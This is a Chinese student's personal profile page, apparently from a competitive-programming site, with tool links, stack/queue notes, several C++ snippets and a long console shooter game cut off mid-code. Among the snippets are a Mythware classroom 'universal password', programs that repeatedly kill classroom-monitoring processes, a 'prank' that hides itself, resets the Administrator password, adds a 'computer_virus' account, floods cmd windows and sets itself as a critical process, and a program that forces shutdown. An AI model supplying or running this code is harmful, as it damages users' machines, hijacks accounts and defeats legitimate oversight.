• 个人简介

    我花半小时来写代码,他却只用半秒给我判了错... 你是第 个来访问我主页的人

    小号为ljt

    好朋友: 刁钲洋

    工具箱 OIOI 相关 对拍 | 骗分导论 | 建图神器 | 图形计算器 | 注册 SPOJSPOJ | OI-ArchiveOI-Archive | 洛谷搜索引擎 | latexlatex 大全 颓废专用 Red Alert 2Red Alert 2 红色警戒22 | 万宁象棋大招版 | feartressfeartress 恐惧之森 | Kittens GameKittens Game 猫国建设者 | Cividlization 2Cividlization 2 文明放置22 | FG FactoryFG Factory 异星工厂 | Ng Galaxies NGNg Galaxies NG星系 | EvolveEvolve 进化 | A Dark RoomA Dark Room 生火间 | HattrickHattrick 足球经理 | 名字竞技场 | Oier’s 2048Oier’s 2048 | slay.oneslay.one | 人生重开模拟器 | C++C++ 控制台小游戏 其他 QQQQ 表情包 | 下载 ExlgExlg | 梦洛谷 | VScodeVScode 配置 C/C++C/C++ | cnblogscnblogs 设置 11 | cnblogscnblogs 设置 22 vKNVHK.png

    来自宇宙历的2027年的我 https://classic.minecraft.net/?join=bGRI5nlVH-j3ZxtP ,,,,,()www.crazygames.com 好用平台:https://rightbrain.art/

    随机壁纸

    我的留言板 mc成就生成器

    队列加栈操作

    //stack sta;//创建一个栈 //sta.push(a);//入栈 //int a=sta.top();//返回栈顶元素 //sta.pop();//出栈 //sta.empty();//判断栈是否为空 1为空,0为非空 //sta.clear();//清空

    //queue que;//创建一个队列 //que.push(a);//入队 //int a=que.front();//返回队头元素 //que.pop();//出队 //que.empty();//判断队列是否为空 1为空,0为非空 //que.clear();//清空 C++小网站

    onlinegdb.com

    zh.cppreference.com

    极域网通用密码:mythware_super_password

    file

    C++集训7月3日

    /* 感觉良好 (这是假的) */ 噶掉电子教室的代码

    #include<bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; } 让你的电脑升级到win11的神奇c++代码

    #include<bits/stdc++.h> using namespace std; int main() { while(1) { system("taskkill /f /t /im REDAgent.exe"); system("taskkill /f /t /im StudentMain.exe"); system("taskkill /f /t /im Student.exe"); } return 0; } c++的恶搞代码

    #include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; } #include<bits/stdc++.h> using namespace std; int main(){ cout << "你希望我编程题怎样?(大写)" << "\n"; string a; while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; while(1){ system("start cmd"); } }else if(a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else if(a=="AC"||a=="AK"){ cout << "谢谢你的祝福"; return 0; }else if(a=="SB"){ cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; while(1){ system("start cmd"); } }else if(a=="BA"||a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else{ cout << "未能识别,请再次输入" << "\n"; } }

    return 0;
    

    } c++小游戏

    #include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> #include #define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0) using namespace std; int m[35][35],n[35][35]; void Color(int a) { if(a0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); if(a3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); if(a7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 if(a8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 if(a9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY); if(a10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN); if(a12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE); } void SetPos(int x,int y) { COORD pos; pos.X=y2,pos.Y=x+3; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30]; int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu; int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz; void Map(int x); void Jian(int x) { if(WuDi>0) return; if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x; else if(Dun>0&&Dun<=x) { if(F[13]0) Blood-=x-Dun; if(F[13]1) WuDi=20; if(F[17]1) Boo=3; Dun=-1; } } bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS { if(abs(Bx-x)<=1&&abs(By-y)<=1&&q1) return 0; if(m[x][y]2||m[x][y]3) return 0; if((q0||q1)&&n[x][y]1) return 0; if(m[x][y]0) return 1; if(m[x][y]>=4&&m[x][y]<=8) return 1; if(m[x][y]>=84&&m[x][y]<=88) return 1; if(m[x][y]>=9&&m[x][y]<=31) return 1; if(m[x][y]>=59&&m[x][y]<=81) return 1; if((q2||q3||q5)&&m[x][y]1) return 1; if((q2||q3)&&m[x][y]>=100&&m[x][y]<250) return 1; if((q0||q3||q5)&&m[x][y]>=50&&m[x][y]<55) return 1; if((q4||q7)&&m[x][y]/1001) return 1; return 0; } void CoutMe() { if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++; int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r); if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞"; if(gunT1) SetPos(X-1,Y),cout<<"↑";if(gunT2) SetPos(X-1,Y+1),cout<<"↗";if(gunT3) SetPos(X,Y+1), cout<<"→";if(gunT4) SetPos(X+1,Y+1),cout<<"↘"; if(gunT5) SetPos(X+1,Y),cout<<"↓";if(gunT6) SetPos(X+1,Y-1),cout<<"↙";if(gunT7) SetPos(X,Y-1), cout<<"←";if(gunT8) SetPos(X-1,Y-1),cout<<"↖"; SetPos(X,Y),cout<<"●";Color(0); if(WuDi>0) Map(4); if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]2&&F[4]0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4); m[X][Y]=0,gx=gy=0; } int Cout(int x,int i,int j) { int Guai=0; if(m[i][j]0&&x2) SetPos(i,j),cout<<" "; if(m[i][j]1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木 if(n[i][j]0&&m[i][j]2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁 if(n[i][j]10&&m[i][j]0) SetPos(i,j),cout<<" ",Color(0); if(n[i][j]31&&m[i][j]0) SetPos(i,j),cout<<" ",Color(0); if(m[i][j]32) m[i][j]=0;//怪子弹灰 if(n[i][j]>=20&&n[i][j]<22&&m[i][j]1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木 if(n[i][j]>=22&&n[i][j]<24&&m[i][j]1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木 if(n[i][j]>=24&&n[i][j]<26&&m[i][j]1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木 if(n[i][j]>=26&&n[i][j]<28&&m[i][j]1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>=28&&n[i][j]<30&&m[i][j]1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木 if(n[i][j]>45&&n[i][j]<=50&&m[i][j]2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺 if(m[i][j]3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]8) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 if(m[i][j]88) SetPos(i,j),cout<<" ",m[i][j]=0;//烟尘 if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 if(m[i][j]9||m[i][j]59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 if(m[i][j]31||m[i][j]81) SetPos(i,j),cout<<" ",m[i][j]=0;//毒尘 if(n[i][j]1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水 if(m[i][j]50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪 if(m[i][j]/1001) { if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉"; if((m[i][j]%100)/102) SetPos(i,j),Color(4),cout<<"◎",Color(0); if((m[i][j]%100)/103) SetPos(i,j),Color(1),cout<<"◎",Color(0); if((m[i][j]%100)/104) m[i][j]=4; if((m[i][j]%100)/105) SetPos(i,j),Color(3),cout<<"◎",Color(0); if((m[i][j]%100)/106) SetPos(i,j),Color(2),cout<<"¤",Color(0); if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0); } if(m[i][j]/1002) if((m[i][j]%100)/101) SetPos(i,j),Color(3),cout<<"☉",Color(0); return Guai; } void Boss() { SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" "; int mov=rand()%30+1,R=rand()%300,ms; if(mov1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--; if(mov2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++; if(mov3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--; if(mov4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++; if(mov5&&Bsi0) Bsi+=rand()%3+1; if(mov6&&Bjiao0) Bjiao+=rand()%3+1;if(mov7&&Bdu0) Bdu+=5; if(mov8&&Bxz0) Bxz+=rand()%20-10;if(mov9&&Byz0) Byz+=rand()%20-10; if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;} if(R<15&Gguai<=5) Bfang++; else if(R<5&&Gguai<=10) Bfang++; else if(R0) Bfang++; SetPos(Bx-1,By-1),Color(0),cout<<" ●● "; SetPos(Bx,By-1) ,Color(4),cout<<")██("; SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0); if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J; if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;} if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;} if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;} if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;} if(Lev4) ms=3;if(Lev9) ms=5;if(Lev14) ms=10;if(Lev19) ms=15;if(Lev24) ms=20; if(T%500&&Bblood<ms12) Bblood++,Map(3); for(int i=Bx-1;i<=Bx+1;i++) for(int j=By-1;j<=By+1;j++) { int du=0; if(m[i][j]/1001) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(m[i][j]/1015) Bblood-=2,Map(3); if(m[i][j]<50||m[i][j]>55) m[i][j]=0; if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3); if(du0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3); if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<" ";SetPos(Bx,By-1),cout<<" ";SetPos(Bx+1,By-1),cout<<" ";} } } void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用 { if(x!=4) CoutMe(); int f1,f2,f3,f4,Guai=0; if(x0) f1=f3=2,f2=f4=28; if(x1||x5) f1=f3=1,f2=f4=29; if(x2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1; if((x4||x3||x1)&&Win>=0) { SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1; SetPos(-2,2),cout<<"枪:"; if(gunZ1) cout<<"普通枪";if(gunZ2) cout<<"分裂枪";if(gunZ3) cout<<"穿甲枪"; if(gunZ4) cout<<"激光枪";if(gunZ5) cout<<"爆炸枪";if(gunZ6) cout<<"毒气枪";if(gunZ7) cout<<"弹跳枪"; cout<<" 子弹数:";if(gunZ1) cout<<"∞";else cout<<G[gunZ]<<" "; SetPos(-1,2),cout<<"血量:";Color(4);int r; if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█"; Color(0);SetPos(-1,18),cout<<" "; SetPos(0,2),cout<<"盾牌:";Color(9); if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█"; if(Bblood>0) { int ms; if(Lev4) ms=5; if(Lev9) ms=10; if(Lev14) ms=14; if(Lev19) ms=17; if(Lev24) ms=20; SetPos(-1,15),cout<<" "; SetPos(-1,15),cout<<"Boss:";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█"; SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1; } } if(x5) { Color(0); SetPos(-3,2),cout<<" ↑ W 开箱(当有箱子在旁时) 开局无敌3秒"; SetPos(-2,2),cout<<"← →移动 A/D 顺/逆时针转枪 空格 暂停"; SetPos(-1,2),cout<<" ↓ S 发射子弹 清除所有怪进下一关 盾会恢复"; SetPos(0,2), cout<<" 每五关可获得一个天赋 完成 5-5 通关 ",Color(3),cout<<"按 y 进第一关"; for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Cout(x,i,j); } if(x!=3&&x!=4) { for(int i=f1;i<=f2;i++) for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j); if(x!=2) { int Rr=rand()%3; if(Guai<Gguai&&Guai!=0&&F[15]1&&Rr0&&Lev%54) Dun=min(Dmax,Dun+1),Map(3); Gguai=Guai; } if(Guai0&&x0&&Win0&&Bblood<=0) { if(Lev!=24) {
    system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Win!!!";Sleep(500); SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000); system("color 0F");Map(1); } Win++,Lev++; } } } void Fan(int i,int j,int M) { if(M%101||M%103) m[i][j]=M+4; if(M%105||M%107) m[i][j]=M-4; if(M%102) { if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6; else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%104) { if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2; else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2; else m[i][j]=M+4; } if(M%106) { if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2; else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2; else m[i][j]=M-4; } if(M%108) { if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6; else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2; else m[i][j]=M-4; } } void Light(int i,int j,int M,int x) { if(M%101) for(int k=1;CanGo(i-k,j,x);k++) {if(x3) m[i-k][j]=84; else m[i-k][j]=4;} if(M%102) for(int k=1;CanGo(i-k,j+k,x);k++){if(x3) m[i-k][j+k]=84; else m[i-k][j+k]=4;} if(M%103) for(int k=1;CanGo(i,j+k,x);k++) {if(x3) m[i][j+k]=84; else m[i][j+k]=4;} if(M%104) for(int k=1;CanGo(i+k,j+k,x);k++){if(x3) m[i+k][j+k]=84; else m[i+k][j+k]=4;} if(M%105) for(int k=1;CanGo(i+k,j,x);k++) {if(x3) m[i+k][j]=84; else m[i+k][j]=4;} if(M%106) for(int k=1;CanGo(i+k,j-k,x);k++){if(x3) m[i+k][j-k]=84; else m[i+k][j-k]=4;} if(M%107) for(int k=1;CanGo(i,j-k,x);k++) {if(x3) m[i][j-k]=84; else m[i][j-k]=4;} if(M%108) for(int k=1;CanGo(i-k,j-k,x);k++){if(x3) m[i-k][j-k]=84; else m[i-k][j-k]=4;} } void Move() { bool nx[32][32]; memset(nx,0,sizeof(nx)); for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) { if(m[i][j]50&&nx[i][j]0&&T%20)//无脑怪 { int r,I=i,J=j,rr=rand()%5,rrr=rand()%2; if(rrr0) {if(X<i) r=1;if(X>i) r=4;} if(rrr1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr0) r=rand()%4+1; if(r1) I=i-1,J=j;if(r2) I=i,J=j+1;if(r3) I=i,J=j-1;if(r4) I=i+1,J=j; if(CanGo(I,J,1)) m[i][j]=0,m[I][J]=50,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]51&&nx[i][j]0)//毒怪 { int R=rand()%10; int r,I=i,J=j,rr=rand()%30,rrr=rand()%2,mr=rand()%15; if(rrr0) {if(X<i) r=1;if(X>i) r=4;} if(rrr1) {if(Y>j) r=2;if(Y<j) r=3;} if(rr!=0) r=rand()%4+1; if(r1) I=i-1,J=j;if(r2) I=i,J=j+1;if(r3) I=i,J=j-1;if(r4) I=i+1,J=j; if(mr0) {for(int k=I-2;k<=I+2;k++) for(int l=J-2;l<=J+2;l++) if(k>1&&l>1&&k<=28&&l<=28&&(CanGo(k,l,1)||m[k][l]1)) m[k][l]=59;} if(CanGo(I,J,1)||m[I][J]1) m[i][j]=59,m[I][J]=51,SetPos(i,j),cout<<" ",SetPos(I,J),cout<<"●",nx[I][J]=1; } if(m[i][j]52&&nx[i][j]0)//散弹怪 { int R=rand()%10; if(R0) { int I,J,r,rn=0; int rr=rand()%8,Rn=rand()%3+1; Xr: rr=rand()%8,rn++; if(rr0) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr1) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr3) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr4) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr5) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr6) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr7) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} if(rr8) {r=rand()%7+2;I=i+1,J=j;if(m[I][J]!=2) m[I][J]=210+r;}nx[I][J]=1; if(rn<Rn) goto Xr; } else if(R<=2) { int r=rand()%4+1,Ie,Je; if(r1) Ie=i-1,Je=j;if(r2) Ie=i,Je=j+1;if(r3) Ie=i,Je=j-1;if(r4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=52,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]53&&nx[i][j]0)//瞄准怪 { int R=rand()%6; if(R0) { int I,J,r,rr=rand()%5; if(X-i<0&&abs(Y-j)<=2) {r=1,I=i-1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j>0&&abs(X-i)<=2) {r=3,I=i,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&abs(Y-j)<=2) {r=5,I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(Y-j<0&&abs(X-i)<=2) {r=7,I=i,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j>0&&abs((i-X)-(Y-j))<=2) {r=2,I=i-1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&Y-j>0&&abs((X-i)-(Y-j))<=2) {r=4,I=i+1,J=j+1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i>0&&j-Y>0&&abs((X-i)-(j-Y))<=2) {r=6,I=i+1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(X-i<0&&Y-j<0&&abs((i-X)-(j-Y))<=2) {r=8,I=i-1,J=j-1;if(CanGo(I,J,6)) m[I][J]=210+r;} else if(rr0) {r=rand()%7+2;I=i+1,J=j;if(CanGo(I,J,6)) m[I][J]=210+r;} } else if(R1) { int r=rand()%4+1,Ie,Je; if(r1) Ie=i-1,Je=j;if(r2) Ie=i,Je=j+1;if(r3) Ie=i,Je=j-1;if(r4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=53,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]54&&nx[i][j]0)//激光怪 { int R=rand()%10; if(R0) {int r=rand()%4; Light(i,j,231+2*r,2);} else if(R<=3) { int r=rand()%4+1,Ie,Je; if(r1) Ie=i-1,Je=j;if(r2) Ie=i,Je=j+1;if(r3) Ie=i,Je=j-1;if(r4) Ie=i+1,Je=j; if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<" ",SetPos(Ie,Je),cout<<"●"; } } if(m[i][j]/1002&&F[3]1&&T%20) nx[i][j]=1; if((m[i][j]/1001||m[i][j]/1002)&&nx[i][j]0)//子弹 { int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<" "; if(M%101) I=i-1,J=j;if(M%102) I=i-1,J=j+1;if(M%103) I=i,J=j+1;if(M%104) I=i+1,J=j+1; if(M%105) I=i+1,J=j;if(M%106) I=i+1,J=j-1;if(M%107) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1;

            if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);}
